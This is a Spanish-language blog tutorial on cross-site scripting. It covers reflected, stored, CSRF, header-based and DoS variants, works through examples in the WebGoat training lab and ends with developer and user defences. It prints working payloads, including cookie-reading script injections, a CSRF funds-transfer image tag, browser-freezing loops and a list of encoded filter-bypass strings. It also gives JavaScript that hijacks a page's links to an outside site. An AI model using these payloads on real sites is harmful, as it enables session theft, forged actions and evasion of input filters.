Cross Site Scripting, en adelante XSS es una vulnerabilidad en la que se manipula la entrada de parámetros de una aplicación para obtener una salida que no sea la que corresponde con el funcionamiento normal del sistema. Según la OWASP es la segunda vulnerabilidad más presente en las aplicaciones (despues de SQLi, de la que hablamos aqui).
Hay bastantes tipos de XSS. Hablaremos un poco de ellos, y después unos ejemplos en la aplicación web vulnerable WebGoat de la OWASP.
Algunos tipos de XSS
- Reflected XSS
- Stored XSS
- Cross Site Request/Reference Forgery (CSRF)
- Cross Frame Scripting (XFS)
- Cross Agent Scripting (XAS)
- Cross Referer Scripting (XRS)
- DoS (XSS DoS)
Instalando WebGoat
Requisitos:
- Java
- Tomcat
Para ejecutar WebGoat, nos descargamos el siguiente archivo y lo descomprimimos. Para ponerlo en marcha sólo hay que abrir la carpeta que descomprimimos y ejecutar webgoat.bat. Para acceder al servicio web hay que ir a http://localhost/WebGoat/attack.
Reflected XSS
El ataque XSS reflejado o no-persistente es un tipo de inyección de código que no se almacena en la aplicación sino que ocurre cuando se carga una URL en el navegador.
La idea de este ataque es que el atacante le pasa a la víctima una URL maliciosa y esta, al introducir la URL en el navegador ejecuta el código malicioso.
En WebGoat:
Entramos en el apartado Cross Site Scripting(XSS) en la barra lateral izquierda. Y luego Stage 5: Reflected XSS.
Image may be NSFW.
Clik here to view.
Elegimos Larry Stooge (employee) y de contraseña larry.
Image may be NSFW.
Clik here to view.
Pinchamos en SearchStaffy ahora introducimos en el campo de búsqueda:
"><script>alert('XSS reflejado')</script>
Image may be NSFW.
Clik here to view.
También podemos introducir el siguiente código para obtener la cookie:
"><script>alert(document.cookie)</script>
Hay ocasiones en las que se filtran los carácteres ‘<‘, ‘>‘ y ‘/‘. Podemos pensar a priori que la aplicación no es vulnerable a XSS, sin embargo podemos probar a usar dichos caracteres en hexadecimal. En este caso hay que sustituir los carácteres. ‘<‘ es el caracter %3c, ‘>‘ es %3e y ‘/‘ es %2f. En este caso el código quedaría:
"%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3e
Echandole imaginación se puede realizar este tipo de ataque de inyección de código en formularios de login, búsqueda…
Stored XSS
El XSS persistente se basa en el XSS no persistente, la diferencia que hay entre ambos y la que hace al persistente más peligroso es que se almacena en la aplicación web.
El vector de ataque seria algo así:
- Se escribe el código malicioso en la web (ya sea en forma de comentarios, gestores de archivos, perfiles de usuario…).
- La victima accede a la aplicación web.
- El codigo malicioso se ejecuta en el navegador del usuario.
En WebGoat:
Entramos en el apartado Cross Site Scripting(XSS) en la barra lateral izquierda. Y luego Stage 1: Stored XSS.
Image may be NSFW.
Clik here to view.
Nos logueamos por ejemplo como Tom Cat, contraseña tom. Pinchamos en View Profile y después en Edit Profile. Y por ejemplo en el campo Commentsintroducimos:
"><script>alert(document.cookie)</script>
Si ahora entramos como otro usuario, por ejemplo Jerry Mouse, contraseña jerry y accedemos al perfil de Tom Catveremos esto:
Image may be NSFW.
Clik here to view.
Para escapar los caracteres, en caso de que la aplicación los filtre se pueden utilizar los mismos ejemplos que en el caso de reflected XSS.
Cross Site Request/Reference Forgery (CSRF)
El Cross Site Request Forgery (CSRF) es un ataque que se basa en la confianza entre un usuario y la aplicación para hacer que el usuario ejecute código malicioso sin saberlo y al estar logueado en la aplicación, esta no sabe si es el usuario legítimo el que quiere ejecutar el código o este ha sido ocultado mediante CSRF.
Con este ataque se puede forzar a un usuario de por ejemplo un blog o foro, a que postee algo sin el saberlo. La manera más comun de realizar esto es mediante javascript, o con parámetros via GET y POST. Por ejemplo:
Imaginad que estamos logueados en una tienda online que tiene una funcion comprar y cuando se compra un objeto, se hace una llamada tal que así:
http://www.tienda.com/comprar.php?idObjeto=234618
Hay varias maneras de explotar este CSRF:
- Con la etiqueta <img> de HTML
<img src="http://www.tienda.com/comprar.php?idObjeto=234618" />
- Con la etiqueta <script> de HTML
<script src="http://www.tienda.com/comprar.php?idObjeto=234618" />
- Con iframes
<iframe src="http://www.tienda.com/comprar.php?idObjeto=234618" />
- Con javascript
La solución para este tipo de ataques pasa por utilizar un token que se genere cuando el usuario se loguea en la aplicación y que se almacena en la sesión del usuario. En cada formulario que tenga que rellenar el usuario, este token está presente como campo oculto para evitar que se pueda ejecutar código mediante CSRF.
En WebGoat:
Entramos en Cross Site Request Forgery(CSRF) en la barra lateral izquierda y veremos esto:
[img]
Ahora introducimos el título que queramos y en Message:escribimos:
<img src="attack?Screen=9&menu=900&transferFunds=4000" width="1" height="1">
Y pinchamos en Submit para publicarlo. Ahora aparecerá el mensaje justo debajo y si pinchamos en él se cargará una imagen de 1×1 pixel que realizará transferFunds=4000.
Cross Frame Scripting(XFS)
Como su propio nombre indica esta variante se ayuda de iframes para ejecutar el código malicioso. Si tenemos una aplicación que usa GET, podemos realizar un XFS en ella con un código del estilo de:
Cross Agent Scripting(XAS)
En este caso se cambia el User-Agent del navegador web, donde se puede inyectar código mediante las etiquetas <script></script>
La aplicación será vulnerable si la manera de identificar el User-Agent es como esta (es decir, no filtra los carácteres especiales):
$_SERVER['HTTP_USER_AGENT'];
Cross Referer Scripting(XRS)
Esta variante, se basa al igual que la anterior en las cabeceras HTTP, cambiando el parámetro Referer donde se puede introducir un string que ejecute un código js. Se puede comprobar si una aplicación es vulnerable a XAS y XRS con el plugin de Firefox Modify Headers
XSS Denial of Service (XSS DoS)
Como ya sabeis, las vulnerabilidades DoS consisten en que impiden el funcionamiento normal de una aplicación. En este caso al ser XSS DoS lo que impiden es el funcionamiento del navegador de internet.
Un código simple para realizar un XSS DoS con alerts que se muestran por pantalla es:
<script>for() alert("XSS DoS");</script>
Con este código se abriran infinitos alerts que harán no solo que no podamos navegar, sino que no podamos cerrar el navegador excepto matando el proceso.
Otra manera más elaborada de XSS DoS es la siguiente:
<meta%20http-equiv="refresh"%20content="0;">
En este caso lo que ocurre es que la página web se recarga automáticamente impidiendo que podamos hacer nada. Este ataque, incluso va más allá porque realiza muchísimas solicitudes a la base de datos de la aplicación, con lo cual si lo realizamos desde varias máquinas podríamos realizar un DoS a la aplicación web.
Bypassing filters
Normalmente, las aplicaciones deberían estar protegidas al menos contra las etiquetas <script></script> para evitar el XSS más común, pero como ya vimos atrás hay maneras de saltarse ese tipo de filtros, aquí os contaré algunas de ellas:
Código original:
<script>alert("vC")</script>
Inyección con mayúsculas/minúsculas:
<sCrIPT>alert("vC")</scRIPt>
Inyección con valores decimales:
<script>&# 97lert("vC")</script>
(Nota: realmente no debería haber un espacio entre # y 97, pero es la unica forma de mostrarlo, porque si no el HTML lo pone directamente como caracter)
Inyección con valores hexadecimales:
<script>ale&# 72t("vC")</script>
(Nota: realmente no debería haber un espacio entre # y 72, pero es la unica forma de mostrarlo, porque si no el HTML lo pone directamente como caracter)
Inyección con valores hexadecimales(con ceros):
<script>ale&# 00072t("vC")</script>
(Nota: realmente no debería haber un espacio entre # y 00072, pero es la unica forma de mostrarlo, porque si no el HTML lo pone directamente como caracter)
Inyección con espacios:
<script>a lert("vC")</script>
Inyección sin finalizar la etiqueta:
<script>alert("vC")</script
Inyección con lineas rotas:
Inyección con String.FromCharCode():
String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 34, 118, 67, 34, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62)
Inyección con String.FromCharCode()(recodificada):
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 118, 67, 34, 41)</script>
String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 57, 55, 44, 49, 48, 56, 44, 49, 48, 49, 44, 49, 49, 52, 44, 49, 49, 54, 44, 52, 48, 44, 51, 52, 44, 49, 49, 56, 44, 54, 55, 44, 51, 52, 44, 52, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62)
Inyección con Unescape():
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%76%43%22%29%3c%2f%73%63%72%69%70%74%3e
También podemos combinar varios tipos de codificación para hacer más fuerte la inyección:
<img src=vC.png onerror=alert("vC") />
<img src=vC.png onerror=%61%6c%65%72%74%28%22%76%43%22%29 />
String.fromCharCode(60, 105, 109, 103, 32, 115, 114, 99, 61, 118, 67, 46, 112, 110, 103, 32, 111, 110, 101, 114, 114, 111, 114, 61, 37, 54, 49, 37, 54, 99, 37, 54, 53, 37, 55, 50, 37, 55, 52, 37, 50, 56, 37, 50, 50, 37, 55, 54, 37, 52, 51, 37, 50, 50, 37, 50, 57, 32, 47, 62)
Soluciones
Vamos a diferenciar dos tipos de soluciones, primero la del lado del desarrollador, y la del lado del usuario.
Del lado del desarrollador:
- Validar los datos que introducen en nuestra aplicación.
- Escapar determinados carácteres como ‘<’, ‘>’.
- Utilizar una política HTML para “limpiar” el código.
Del lado del usuario, lo tenemos un poco más dificil porque los XSS, sobre todo los persistentes o los CSRF son muy peligrosos. Podemos convertirnos en zombies de una botnet sin saberlo, por eso existe una extensión (Firefox), llamada NoScript que lo que hace es evitar la ejecución de TODOS los scripts, es decir, si queremos ejecutar un script en una aplicación web de confianza tenemos que decirle a la extensión que es fiable y que puede ejecutar scripts en esa web. Pero por defecto bloquea todos, lo que puede ser un poco tedioso en según que ocasiones.
Posibilidades de XSS
La mayoría de ejemplos que hemos usado aquí son inocuos y no hacen más que mostrar un alert con un texto determinado o con las cookies de la sesión del navegador, sin embargo hay muchas posibilidades:
Por ejemplo, este código hace que todos los links de una página, al pinchar sobre ellos, abran su destino normal además de http://vidasconcurrentes.com:
var links = document.links; for(var i = 0; i < links.length; i++) { links[i].addEventListener('click', function() { window.open("http://vidasconcurrentes.com"); }, false); }
Este otro código hace que todos los links de esa página vayan a http://vidasconcurrentes.com y ya el link original no funciona... pero en la barra de estado del navegador se muestra la dirección original del enlace:
var links = document.links; for(var i = 0; i < links.length; i++) { links[i].addEventListener('click', function() { window.location = "http://vidasconcurrentes.com"; }, false); }
Aunque esto son solo juegos, con xss se puede desde obligar a que los usuarios descarguen ficheros maliciosos, recuperar su historial de navegación. E incluso existe un framework llamado BEeFcon el que se puede desde recoger las pulsaciones de un usuario afectado por XSS (keylogger), usarlo como proxy para navegar hasta explotar vulnerabilidades en el navegador con Metasploit.